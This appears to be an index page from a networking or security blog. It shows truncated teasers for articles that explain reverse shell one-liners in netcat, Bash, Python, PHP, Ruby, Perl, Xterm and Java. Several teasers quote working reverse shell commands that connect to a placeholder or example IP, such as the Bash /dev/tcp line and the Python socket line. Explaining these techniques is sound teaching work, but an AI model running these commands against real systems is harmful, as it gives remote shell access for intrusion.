Networking

Netcat Reverse Shell Breakdown

1. Establish a listening connection on your machine nc -l -p <your_port> This command starts netcat in listening mode (-l) on a specific port (-p <your_port>). It means your machine will...

Bash Reverse Shell Breakdown

Bash Reverse Shell Breakdown: bash -i >& /dev/tcp/<your_ip>/<your_port> 0>&1 bash: Invokes the Bash shell.   -i: Launches an interactive Bash session, providing an...

Perl Reverse Shell Breakdown

Perl Reverse Shell Breakdown perl -e 'use...

Python Reverse Shell Breakdown

Python Reverse Shell Breakdown   python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);...

PHP Reverse Shell Breakdown

PHP Reverse Shell Breakdown   php -r '$sock=fsockopen("<your_ip>",<your_port>);exec("/bin/sh -i <&3 >&3 2>&3");' php -r: Executes the following PHP code provided...

Ruby Reverse Shell Breakdown

Ruby Reverse Shell Breakdown   'ruby -rsocket -e'f=TCPSocket.open("<your_ip>",<your_port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ‘ruby...

Xterm Reverse Shell Breakdown

On Your Server, Initiate the Command: xterm -display <your_ip>:1 xterm: Launches the Xterm terminal emulator.   -display <your_ip>:1: Specifies the display to connect to, where...

Java Reverse Shell Breakdown

Java Reverse Shell Breakdown r = Runtime.getRuntime() p = r.exec( as String) p.waitFor() r = Runtime.getRuntime(): Retrieves the Java Runtime instance, which allows the application to interface with...

What is Reverse Shell? Reverse Shell Cheat Sheet

Introduction: We’re going to take a look at reverse shells today and use a simple cheat sheet to help you understand their nuances. Whatever your level of technical expertise, the goal of this...
Scroll to Top